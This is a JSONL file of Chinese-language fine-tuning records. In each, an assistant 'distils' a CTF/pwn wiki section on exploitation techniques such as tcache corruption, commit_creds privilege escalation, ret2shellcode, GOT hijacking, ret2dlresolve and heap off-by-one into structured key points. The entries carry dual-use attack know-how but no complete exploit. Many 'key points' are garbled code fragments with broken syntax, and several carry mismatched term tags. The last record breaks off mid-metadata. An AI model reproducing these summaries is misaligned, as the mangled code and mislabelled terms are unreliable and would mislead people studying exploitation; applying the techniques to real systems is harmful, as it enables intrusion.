{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a67d586b3144aa7ae34f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md` 中的章节「tcache perthread corruption」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md`\n标题：tcache makes heap exploitation easy again\n章节：define TCACHE_FILL_COUNT 7 > 0x03 Pwn Tcache > tcache perthread corruption\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“tcache perthread corruption”展开。\n- 因为 tcache_perthread_struct 也在堆上，因此这种方法一般只需要 partial overwrite 就可以达到目的。\n- 我们已经知道 tcache_perthread_struct 是整个 tcache 的管理结构，如果能控制这个结构体，那么无论我们 malloc 的 size 是多少，地址都是可控的。\n\n关键术语：\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 12 行，首行 `tcache_ +------------+`\n- plain: 12 行，首行 `tcache_ +------------+<---------------------------+`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 920, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "tcache perthread corruption", "heading_path": ["define TCACHE_FILL_COUNT 7", "0x03 Pwn Tcache", "tcache perthread corruption"], "original_id": "docs-bc24ad98d8582bb250cb", "original_line": 1048, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "source_root": "docs", "source_sha256": "37eb8bd9e0addea4340fa8d86115193239ec930263e815b614220939fd397eaa", "split": "train", "split_group_key": "f518189c96a1a2d581035d1e", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "tcache makes heap exploitation easy again"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/tcache-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a68eaad4f2edd6e94278", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md` 中的章节「commit_creds(&init_cred)」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md`\n标题：Change Self\n章节：Change Self > 修改 cred 指针 > 间接定位 > commit_creds(&init_cred)\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“commit_creds(&init_cred)”展开。\n- //... rcu_assign_pointer(task->real_cred, new);\n- commit_creds() 函数被用以将一个新的 cred 设为当前进程 task_struct 的 real_cred 与 cred 字段，因此若是我们能够劫持内核执行流调用该函数并传入一个具有 root 权限的 cred，则能直接完成对当前进程的提权工作： ``c int commit_creds(struct cred new) { struct task_struct task = current;\n- //内核宏，用以从 percpu 段获取当前进程的 PCB const struct cred old = task->real_cred;\n- rcu_assign_pointer(task->cred, new);\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- kernel-mode\n- aim\n- code:c\n\n代码/命令片段线索：\n- c: 7 行，首行 `int commit_creds(struct cred *new)`\n- c: 27 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1181, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "commit_creds(&init_cred)", "heading_path": ["Change Self", "修改 cred 指针", "间接定位", "commit_creds(&init_cred)"], "original_id": "docs-88230c95f8b8daebaebe", "original_line": 667, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md", "source_root": "docs", "source_sha256": "d1cfeb5ddd01e316391d6982c05f447b84f57f808d2581f0482d9ade31e9e252", "split": "train", "split_group_key": "f57f6fb7feeb4e9f44d9106f", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "pwn", "linux", "kernel-mode", "aim", "code:c"], "title": "Change Self"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-self.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a6e2c62f221a4ee8df18", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「另一个例子」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`\n标题：基本 ROP\n章节：基本 ROP > ret2shellcode > 另一个例子\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“另一个例子”展开。\n- 这里我们以通过mprotect()动态修改过内存页权限的 ret2shellcode 为例，需要注意的是，这样我们就可以在例如 Ubuntu-22.04 这样的现代操作系统中完成这个实验辣~。\n- > 点击下载: ret2shellcode 首先检测程序开启的保护： ```shell\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 282, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "另一个例子", "heading_path": ["基本 ROP", "ret2shellcode", "另一个例子"], "original_id": "docs-ab65f7f6f0822525d25b", "original_line": 1250, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "source_root": "docs", "source_sha256": "057a5fc1a3ebb4d1e1c7911a1cc846c084c7768efcee467c77c24351625444cb", "split": "train", "split_group_key": "fc8c6327854f59818c7739ff", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow"], "title": "基本 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a6fae6b50fe76aa3f6e6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「切分 top」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：define DEFAULT_TOP_PAD 131072 > 分配内存块 > 切分 top\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“切分 top”展开。\n- ``c / check that one of the above allocation paths succeeded / if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { remainder_size = size - nb;\n- set_head(remainder, remainder_size | PREV_INUSE);\n- remainder = chunk_at_offset(p, nb);\n- set_head(p, nb | PREV_INUSE | (av !\n- check_malloced_chunk(av, p, nb);\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 10 行，首行 `/* check that one of the above allocation paths succeeded */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 405, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "切分 top", "heading_path": ["define DEFAULT_TOP_PAD 131072", "分配内存块", "切分 top"], "original_id": "docs-d8095b3fcca80c641aaa", "original_line": 1177, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "e633fadaff6bf3e77187e1af", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "android", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a6ff927fc1f709b4780e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/android/basic_operating_mechanism/native_layer/so.md` 中的章节「doLoad」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/android/basic_operating_mechanism/native_layer/so.md`\n标题：so 介绍\n章节：so 介绍 > 核心加载流程 > doLoad\n路径分类：android / android/basic_operating_mechanism/native_layer\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“doLoad”展开。\n- } // nativeLoad should be synchronized so there's only one LD_LIBRARY_PATH in use regardless // of how many ClassLoaders are in the system, but dalvik doesn't support synchronized // internal natives. synchronized (this) { return nativeLoad(name, loader, ld...\n- } } `` 虽然源代码很长，但是很多部分都是注释，也说明了为什么要使用这样的一个函数的原因，主要有以下原因 - Android App 都是由 zygote fork 生成的，因此他们的 LD_LIBRARY_PATH 就是 zygote 的LD_LIBRARY_PATH，这也说明 apk 中的 so 文件不在这个路径下。\n- = null && loader instanceof BaseDexClassLoader) { ldLibraryPath = ((BaseDexClassLoader) loader).getLdLibraryPath();\n- so 文件之间可能存在相互依赖，我们需要按照其按依赖关系的逆方向进行加载。\n- 函数的基本思想就是找到库文件的路径，然后使用 synchronized 方式调用了 nativeLoad 函数。\n\n关键术语：\n- ROP/JOP\n- Android逆向\n- android\n- basic-operating-mechanism\n- native-layer\n- so.md\n- code:java\n\n代码/命令片段线索：\n- java: 26 行，首行 `private String doLoad(String name, ClassLoader loader) {`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "android", "chars": 1941, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "doLoad", "heading_path": ["so 介绍", "核心加载流程", "doLoad"], "original_id": "docs-bc25820f5301ce8944ae", "original_line": 72, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/native_layer/so.md", "source_root": "docs", "source_sha256": "177ae3216c4014a84a5b4b0bf3da85057941f6578ea85692932859c1fed69579", "split": "train", "split_group_key": "228bc68c03ed8afdc55f307e", "subcategory": "android/basic_operating_mechanism/native_layer", "terms": ["ROP/JOP", "Android逆向", "android", "basic-operating-mechanism", "native-layer", "so.md", "code:java"], "title": "so 介绍"}, "source_dataset": "docs_distilled_v1", "source_path": "android/basic_operating_mechanism/native_layer/so.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a7b6f29f66251217cd4b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > hijack GOT > 原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 假设我们将函数 A 的地址覆盖为函数 B 的地址，那么这一攻击技巧可以分为以下步骤 - 确定函数 A 的 GOT 表地址。\n- 这一步我们利用的函数 A 一般在程序中已有，所以可以采用简单的寻找地址的方法来找。\n- 这一步一般来说需要我们利用函数的漏洞来进行触发。\n- 一般利用方法有如下两种 - 写入函数：write 函数。\n- 此外，在没有开启 RELRO 保护的前提下，每个 libc 的函数对应的 GOT 表项是可以被修改的。\n\n关键术语：\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:text\n\n代码/命令片段线索：\n- text: 3 行，首行 `pop eax; ret; # printf@got -> eax`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 674, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "原理", "heading_path": ["例子", "hijack GOT", "原理"], "original_id": "docs-6094cf48232577117206", "original_line": 858, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "2190b9967e16050b469f4e33", "subcategory": "pwn/linux/user-mode", "terms": ["ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:text"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a8669a0c4698cbd02fd8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「Partial RELRO」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：read /bin/sh\\x00 > Partial RELRO\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Partial RELRO”展开。\n- 还是利用 2015 年 xdctf 的 pwn200 进行介绍。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:shell\n\n代码/命令片段线索：\n- shell: 8 行，首行 `❯ gcc -fno-stack-protector -z relro -no-pie ../../main.c -o main_partial_relro_64`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 439, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "Partial RELRO", "heading_path": ["read /bin/sh\\x00", "Partial RELRO"], "original_id": "docs-11683b9b0477f16cbbb6", "original_line": 1349, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "f444db9709304eb20dc4ddd2", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow", "code:shell"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a88a74b13c110200c35b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/basic-knowledge/mm.md` 中的章节「FlatView：MR 树对应的 Guest 视角物理地址空间」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/basic-knowledge/mm.md`\n标题：QEMU 内存管理\n章节：QEMU 内存管理 > Guest VM 视角（GPA） > FlatView：MR 树对应的 Guest 视角物理地址空间\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“FlatView：MR 树对应的 Guest 视角物理地址空间”展开。\n- struct AddressSpaceDispatch dispatch;\n- 例如，KVM需要明确的物理内存布局来配置EPT（Extended Page Table），FlatView 提供可直接映射的平坦内存描述，避免内核解析复杂树结构。\n- QEMU通过树状结构的MemoryRegion管理Guest的物理地址空间，支持动态调整（如热插拔设备）。\n- 因此QEMU使用 FlatView 用来表示一棵 MemoryRegion 树所表示的线性的 Guest 地址空间，其将树状结构“展平”为列表，每个条目记录连续内存区域的起始地址（GPA）、大小、属性（如RAM/MMIO），消除嵌套关系，简化内核处理。\n- FlatView使用一个 FlatRange 结构体指针数组来存储不同 MemoryRegion 对应的地址信息，每个 FlatRange 表示单个 MemoryRegion 的 Guest 视角的一块线性的物理地址空间以及是否只读等特性信息， FlatRange 之间所表示的地址范围不会重叠。\n\n关键术语：\n- 修复/缓解\n- pwn\n- virtualization\n- qemu\n- basic-knowledge\n- code:c\n\n代码/命令片段线索：\n- c: 23 行，首行 `/* Range of memory in the global map. Addresses are absolute. */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 973, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "FlatView：MR 树对应的 Guest 视角物理地址空间", "heading_path": ["QEMU 内存管理", "Guest VM 视角（GPA）", "FlatView：MR 树对应的 Guest 视角物理地址空间"], "original_id": "docs-21f5919c8abfe5bde065", "original_line": 1425, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/basic-knowledge/mm.md", "source_root": "docs", "source_sha256": "b0f49a5297d0248bb6c398aae5db06293db7c6aa0ea8235507cd7252e3b7b406", "split": "train", "split_group_key": "1c230de7b783cae8e58bf7a4", "subcategory": "pwn/virtualization/qemu", "terms": ["修复/缓解", "pwn", "virtualization", "qemu", "basic-knowledge", "code:c"], "title": "QEMU 内存管理"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/basic-knowledge/mm.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a922fb53331ce5f1af2f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「分析程序」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > hijack retaddr > 例子 > 分析程序\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析程序”展开。\n- 简单分析一下，就知道程序似乎主要实现了一个类似账户注册之类的功能，主要有修改查看功能，然后发现在查看功能中发现了格式化字符串漏洞 ``C int __usercall sub_400B07@(char format@, char formata, __int64 a3, char a4) { write(0, \"Welc0me to sangebaimao!\n- printf(&formata, \"Welc0me to sangebaimao!\n- 此外，也可以发现这个账号密码其实没啥配对不配对的。\n- ` 当然我们还可以发现 username 和 password 之间的距离为 20 个字节。\n- 我们回溯一下，发现我们读入的 password 内容也是 `C v6 = read(0, (char )&a4 + 4, 0x14uLL);\n\n关键术语：\n- 密码学\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:c\n\n代码/命令片段线索：\n- C: 6 行，首行 `int __usercall sub_400B07@(char format@, char formata, __int64 a3, char a4)`\n- C: 1 行，首行 `v6 = read(0, (char *)&a4 + 4, 0x14uLL);`\n- C: 12 行，首行 `puts(\"Input your username(max lenth:20): \");`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 800, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "分析程序", "heading_path": ["例子", "hijack retaddr", "例子", "分析程序"], "original_id": "docs-18a8634b1d46f536c0ad", "original_line": 43, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "7ade79a3924e927d37a5058a", "subcategory": "pwn/linux/user-mode", "terms": ["密码学", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:c"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a94fb79a4655f2b99e0b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md` 中的章节「处理不连续内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md`\n标题：申请内存块\n章节：define DEFAULT_TOP_PAD 131072 > 内存可能申请成功 > 处理其他意外情况 > 处理不连续内存\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“处理不连续内存”展开。\n- } } / Find out current end of memory / if (snd_brk == (char )(MORECORE_FAILURE)) { snd_brk = (char *)(MORECORE(0));\n- ``c / handle non-contiguous cases / else { if (MALLOC_ALIGNMENT == 2 SIZE_SZ) / MORECORE/mmap must correctly align / assert(((unsigned long)chunk2mem(brk) & MALLOC_ALIGN_MASK) == 0);\n- else { front_misalign = (INTERNAL_SIZE_T)chunk2mem(brk) & MALLOC_ALIGN_MASK;\n- if (front_misalign > 0) { / Skip over some bytes to arrive at an aligned position.\n- They will never be accessed anyway because prev_inuse of av->top (and any chunk created from its start) is always true after initialization. / aligned_brk += MALLOC_ALIGNMENT - front_misalign;\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n\n代码/命令片段线索：\n- c: 24 行，首行 `/* handle non-contiguous cases */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 755, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "处理不连续内存", "heading_path": ["define DEFAULT_TOP_PAD 131072", "内存可能申请成功", "处理其他意外情况", "处理不连续内存"], "original_id": "docs-79fb7a42555d1f33b210", "original_line": 1175, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "source_root": "docs", "source_sha256": "d57c9fb6e3dadf6dcdef23e595c99d5566d1a5c69e96baacfe77e614ff9962bf", "split": "train", "split_group_key": "4cfeb89334dc0748e7c1c5ef", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c"], "title": "申请内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/malloc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-a98542ff21660f268dcb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「在 libc-2.29 之后」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：堆中的 Off-By-One > off-by-one 利用思路 > 在 libc-2.29 之后\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“在 libc-2.29 之后”展开。\n- 然后通过 off-by-one 向低地址合并就可以实现 chunk overlapping 了，之后可以 leak libc_base 和 堆地址，tcache 打 __free_hook 即可。\n- ` 然后只需要通过 unlink 的检测就可以了，也就是 fd->bk == p && bk->fd == p 如果 large bin 中仅有一个 chunk，那么该 chunk 的两个 nextsize 指针都会指向自己，如下 [图片文件: ./figure/largebin-struct.png] 我们可以控制 fd_nextsize 指向堆上的任意地址，可以容易地使之指向一个 fastbin + 0x10 - 0x18，而 fastbin 中的 fd 也会指向堆上的一个地址，通过部分覆写该指针也可以使...\n- 通过在后面使用其他的 chunk 辅助伪造，可以通过该检测 ` if (__glibc_unlikely (chunksize(p) !\n- 通过 fastbin 的链表特性可以做到修改这个指针且不影响其他的数据，再部分覆写之就可以通过 bk->fd==p` 的检测了。\n- 但是，只需要满足被 unlink 的 chunk 和下一个 chunk 相连，所以仍然可以伪造 fake_chunk。\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:cpp\n\n代码/命令片段线索：\n- cpp: 2 行，首行 `if (__glibc_unlikely (chunksize(p) != prevsize))`\n- plain: 2 行，首行 `if (__glibc_unlikely (chunksize(p) != prevsize))`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1232, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "在 libc-2.29 之后", "heading_path": ["堆中的 Off-By-One", "off-by-one 利用思路", "在 libc-2.29 之后"], "original_id": "docs-6ea69ad50510c871943f", "original_line": 54, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": 